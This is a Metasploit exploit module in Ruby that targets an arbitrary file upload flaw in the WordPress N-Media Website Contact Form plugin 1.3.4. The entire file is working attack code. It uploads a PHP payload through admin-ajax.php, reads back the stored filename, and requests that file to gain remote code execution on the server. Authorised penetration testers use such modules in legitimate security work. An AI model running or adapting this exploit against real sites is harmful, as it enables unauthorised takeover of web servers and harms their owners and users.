81 lines
2.8 KiB
Ruby
81 lines
2.8 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HTTP::Wordpress
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Wordpress N-Media Website Contact Form Upload Vulnerability',
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'Description' => %q{
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This module exploits an arbitrary PHP code upload in the WordPress N-Media Website Contact Form
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plugin, version 1.3.4. The vulnerability allows for arbitrary file upload and remote code execution.
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},
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'Author' =>
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[
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'Claudio Viviani', # Vulnerability discovery
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'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['URL', 'http://www.homelab.it/index.php/2015/04/12/wordpress-n-media-website-contact-form-shell-upload/'],
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['WPVDB', '7896']
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],
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'Privileged' => false,
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' => [['N-Media WebSite Contact Form 1.3.4', {}]],
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'DisclosureDate' => 'Apr 12 2015',
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'DefaultTarget' => 0)
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)
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end
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def check
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check_plugin_version_from_readme('website-contact-form-with-file-upload', '1.5')
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end
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def exploit
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php_pagename = rand_text_alpha(4 + rand(4)) + '.php'
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data = Rex::MIME::Message.new
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data.add_part('upload', nil, nil, 'form-data; name="action"')
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data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{php_pagename}\"")
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data.add_part('nm_webcontact_upload_file', nil, nil, 'form-data; name="action"')
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post_data = data.to_s
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res = send_request_cgi({
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'uri' => wordpress_url_admin_ajax,
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'method' => 'POST',
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'ctype' => "multipart/form-data; boundary=#{data.bound}",
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'data' => post_data
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})
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if res
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if res.code == 200 && res.body =~ /filename/
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begin
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new_php_pagename = JSON.parse(res.body)["filename"]
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rescue JSON::ParserError
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fail_with(Failure::Unknown, 'Unable to parse JSON data for the filename')
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end
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print_good("Our payload is at: #{new_php_pagename}. Calling payload...")
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register_files_for_cleanup(new_php_pagename)
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else
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fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
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end
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else
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fail_with(Failure::Unknown,'ERROR')
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end
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print_status("Calling payload...")
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send_request_cgi(
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'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', 'contact_files', new_php_pagename)
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)
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end
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end
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